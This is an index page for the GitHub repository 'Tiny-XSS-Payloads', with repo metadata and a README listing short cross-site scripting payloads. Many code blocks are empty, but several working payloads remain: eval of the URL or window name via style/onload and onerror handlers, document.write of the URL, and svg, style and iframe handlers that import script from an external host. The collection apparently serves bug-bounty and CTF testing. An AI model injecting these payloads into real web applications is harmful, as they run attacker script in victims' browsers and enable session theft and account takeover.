Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/terjanq/Tiny-XSS-Payloads
A collection of tiny XSS Payloads that can be used in different contexts. https://tinyxss.terjanq.me
https://github.com/terjanq/Tiny-XSS-Payloads
bugbounty ctf html javascript payloads xss
Last synced: about 1 month ago
JSON representation
A collection of tiny XSS Payloads that can be used in different contexts. https://tinyxss.terjanq.me
- Host: GitHub
- URL: https://github.com/terjanq/Tiny-XSS-Payloads
- Owner: terjanq
- Created: 2020-07-09T21:45:19.000Z (over 4 years ago)
- Default Branch: master
- Last Pushed: 2021-10-15T22:37:45.000Z (about 3 years ago)
- Last Synced: 2024-10-29T17:50:05.229Z (about 1 month ago)
- Topics: bugbounty, ctf, html, javascript, payloads, xss
- Language: JavaScript
- Homepage: https://tinyxss.terjanq.me/
- Size: 460 KB
- Stars: 1,926
- Watchers: 48
- Forks: 192
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - terjanq/Tiny-XSS-Payloads - A collection of tiny XSS Payloads that can be used in different contexts. https://tinyxss.terjanq.me (JavaScript)
README
# Tiny-XSS-Payloads
A collection of short XSS payloads that can be used in different contexts.
The DEMO available here:
## Current Payloads
```html
```
```html
```
```html
```
```html
```
```html
```
```html
![]()
```
```html
```
```html
```
```html
```
```html
```
```html
">
```
```html
```
```html
">
```
```html
```
```html
<!-- If inline styles are allowed and the URL can be controlled -->
<style/onload=eval(`'`+URL)>
```
```html
<!-- If inline styles are blocked -->
<style/onerror=eval(name)>
```
```html
<!-- Uses external script as import, doesn't work in innerHTML -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<svg/onload=import(/\\NJ.₨/)>
```
```html
<!-- Uses external script as import, triggers if inline styles are allowed.
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<style/onload=import(/\\NJ.₨/)>
```
```html
<!-- Uses external script as import -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<iframe/onload=import(/\\NJ.₨/)>
```
Deprecated:
```html
<!-- If you control the URL, Safari-only -->
<iframe/onload=write(URL)>
```
```html
<!-- If inline styles are allowed, Safari only -->
<style/onload=write(URL)>
```